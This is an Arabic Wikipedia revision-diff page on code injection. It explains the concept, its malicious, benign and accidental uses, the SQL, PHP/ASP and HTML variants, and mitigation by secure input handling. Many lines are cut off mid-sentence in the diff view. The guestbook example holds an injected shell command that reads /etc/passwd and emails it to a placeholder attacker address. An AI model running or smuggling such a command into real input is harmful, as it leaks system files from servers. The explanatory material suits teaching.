حقن النصوص البرمجية: الفرق بين النسختين
[مراجعة غير مفحوصة] | [مراجعة غير مفحوصة] |
تم حذف المحتوى تمت إضافة المحتوى
ط بوت: إصلاح التحويلات; تغييرات تجميلية |
|||
سطر 1:
'''البرمجة بالحقن (Code Injection)''' هي إحدى الطرق لإيصال أو حقن الجمل البرمجية إلى [[برنامج (توضيح)|برنامج]] أو نظام ما، مستفيداً من الافتراضات الخاطئة وغير [[مراقبة|المراقبة]]، التي يفترضها النظام متعلقاً بالإدخال الذي يتم لهذا النظام.
السبب الرئيسي للبرمجة بالحقن هو تجنب أو تعديل الوظيفة الأساسية [[برنامج (توضيح)|للبرنامج]]، للوصول إلى ما يحتاجه [[
== مثال بسيط على البرمجة بالحقن ==
معظم [[خادم (معلوماتية)|خادمات]] [[موقع ويب|الويب]] تحتوي على "دفتر الزوار" لكتابة بعض الملاحظات، وهو ما يستقبل عادة رسائل صغيرة من المستخدمين، والتي من المكن أن تكون:
"لقد زرت الموقع .. وكان رائعاً جداً" .. ولكن [[
; cat /etc/passwd | email attacker@example.com #
والتي من خلالها سيبعث [[خادم (معلوماتية)|جهاز الخادم]] بالملف المدعو (passwd) إلى [[بريد إلكتروني|بريد]] [[
أغلب هذا المشاكل تحدث مرتبطة بالافتراضات الخاطئة – كما ذكرنا سابقاً- عن الإدخالات المحتملة للنظام، أو تأثير بعض البيانات على هذا النظام. وبعض الأمثلة على هذه الافتراضات التي يقوم [[مبرمج|مطور النظام]] عند الإدخال [[برنامج (توضيح)|للبرنامج]] هي:
* افتراضات متعلقة ببعض [[حرف|الأحرف]] و[[رقم|الأرقام]] التي ليس لها معنى مباشر، وإنما تحتوي على معاني مميزة [[برنامج (توضيح)|للبرامج الحاسوبية]]، ويفترض عندها [[مبرمج|المبرمج]] أنها لن تستخدم للإدخال، ولكن [[
* الافتراض بأن [[رقم|الأرقام]] فقط تستخدم للإدخال.
* الافتراض بأن حجم الإدخال لن يتجاوز الحجم المحدد الذي وضعه [[مبرمج|المبرمج]].
سطر 16:
==== أغراض تخريبية (Malevolent) ====
الاستخدام الأساسي لهذه التقنية عادة ما يكون تخريبياً، فقد تستخدم البرمجة بالحقن في أوساط الأنظمة التخريبية أو التدميرية للحصول على [[معلومة|معلومات]] أو امتيازات محددة أو الدخول للأماكن غير المسموح بها في أنظمة معينة. كما يمكن أن تستخدم البرمجة بالحقن تخريبياً للوصول إلى:
* تغيير بعض القيم بطريقة اعتباطية في [[قاعدة بيانات|قواعد البيانات]] عبر إحدى أنواع هذه التقنية والتي تدعى بـ([[اختراق لغة الاستعلام البنيوية|SQL Injection]])، وتأثير هذا التخريب يتراوح بين تشويه المعلومات على [[موقع ويب|الموقع]]، إلى الإطلاع على بعض المعلومات الحساسة.
* سرقة بعض المعلومات المخزنة على [[موقع ويب|المواقع]] في الكعكات، من خلال [[لغة برمجة|لغات برمجة]] مثل [[لغة ترميز النص الفائق|HTML]] ، ويتم هذا خلال نوع مشهور من التخريب وهو [[برمجة عبر مواقع|البرمجة عبر المواقع]].
* تنزيل بعض [[برنامج (توضيح)|البرامج]] أو تنفيذ بعض الجمل البرمجية التخريبية على [[خادم (معلوماتية)|الخادم]] الرئيسي للموقع عير [[لغة برمجة|لغات برمجة]] مثل [[صفحات خادم نشطة|ASP]] و[[بي إتش بي|PHP]].
====
يمكن أن تستخدم هذا التقنية لأغراض خيرة، كأن يحاول مستخدم ما تعديل [[برنامج (توضيح)|البرنامج]] وإضافة بعض الجمل إليه لتحسين أدائه وفعاليته، وخلال هذا الفعل فهو يساعد هذا النظام على تحسين نفسه بدون إيذاء أحد. ومن الأمثلة على ذلك إضافة عمود إلى [[
ويلجأ المستخدم عادةً لهذه التقنية لأحد الأسباب التالية:
* تعديل [[منتج|المنتج]] بالشكل المطلوب غير ممكن.
* تعديل [[منتج|المنتج]] مكلف بشكل يتجاوز الإمكانات المادية المتوفرة.
* تعديل [[منتج|المنتج]] يؤثر على أمور أخرى حساسة.
ولكن هذا الاستخدام لهذه التقنية مستنكر بشكل شديد في أوساط [[مبرمج|المبرمجين]] عامة، وما يزال يدعى بالاختراق أو الهجوم. لكن بعض [[برنامج (توضيح)|البرمجيات]] تسمح أو حتى تحفز هذا النوع من البرمجة بالحقن لتحسين [[منتج|منتجاتهم]]، ويعزى هذا عادةً لكون هذه الطريقة هي أقل كلفة لتحسين [[منتج|المنتج]] بدلاً من شراء [[منتج|منتجات]] أخرى جديدة. وبشكل عام يبقى هذا الاستخدام لهذه التقنية غير مشجع.
=== استخدام غير متعمد ===
يمكن لبعض المستخدمين العاديين القيام بالبرمجة بالحقن بدون علمهم، من خلال قيامهم بإدخال [[بيانات]] لم يتم اعتبارها ممكنة الاستخدام من قبل مستخدمين عاديين من قِبل الذي طوروا النظام من البداية. فمثلاً:
* قيام المستخدم بإدخال خاطئ لأحد [[رمز|الرموز]]، مما يعتبره النظام رمزاً ذا معنى آخر، مثل الإشارات التالية &، %، $.
*
== بعض أنواع البرمجة بالحقن ==
* [[إس كيو إل|SQL]]: يستفيد [[
* [[بي إتش بي|PHP]] و[[صفحات خادم نشطة|ASP]]: يتمكن [[
* [[لغة ترميز النص الفائق|HTML]]: وهنا يكون عمل [[
== الحد من مشكلة البرمجة بالحقن ==
للحد من البرمجة بالحقن، يتم إرفاق ما يدعى "[[معالجة آمنة لنظم الإدخال والإخراج]]" (Secure input and output handling )، التي تراقب كل ما يتم إدخاله إلى النظام وكل ما ينتج عنه.
|